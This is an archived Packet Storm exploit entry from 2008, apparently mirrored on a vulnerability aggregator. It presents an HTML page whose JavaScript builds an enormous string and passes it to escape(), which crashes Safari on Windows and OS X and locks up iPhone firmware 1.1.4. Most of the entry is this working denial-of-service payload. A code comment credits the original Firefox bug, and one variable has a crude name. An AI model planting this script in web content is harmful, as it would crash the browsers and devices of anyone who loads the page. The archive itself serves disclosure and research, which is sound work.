safariphone-dos.txt

🗓️ 17 Mar 2008 00:00:00Reported by Georgi GuninskiType

packetstorm🔗 packetstormsecurity.com👁 20 Views

Georgi Guninski's retired code causes crashes in iPhone firmware, Safari on Windows, and Safari on OSX. The code can be exploited to generate a denial of service (DoS) condition.

`<!--  
Even though Georgi Guninski retired from the scene, his  
old code is still finding new bugs.  
  
iphone fw:1.1.4 : locks up  
safari win32 : crashes  
safari osx : crashes  
  
looped the x's on milw0rm to find the bug.  
original firefox vuln: http://milw0rm.com/exploits/1233  
/str0ke  
-->  
  
<html>  
Copyright Georgi Guninski  
<br>  
Cannot be used in vulnerability databases  
<br>  
Especially securityfocus/mitre/cve/cert  
<script>  
var s=String.fromCharCode(257);  
var ki="";  
var me="";  
for(i=0;i<1024;i++)  
{ki=ki+s;}  
for(i=0;i<1024;i++)  
{me=me+ki;}  
var ov=s;  
for(i=0;i<28;i++) ov += ov;  
for(i=0;i<88;i++) ov += me;  
  
alert("done generating");  
var fuckbill=escape(ov);  
alert("done escape");  
alert(fuckbill);  
</script>  
</html>  
`

17 Mar 2008 00:00Current

7.4High risk

Vulners AI Score7.4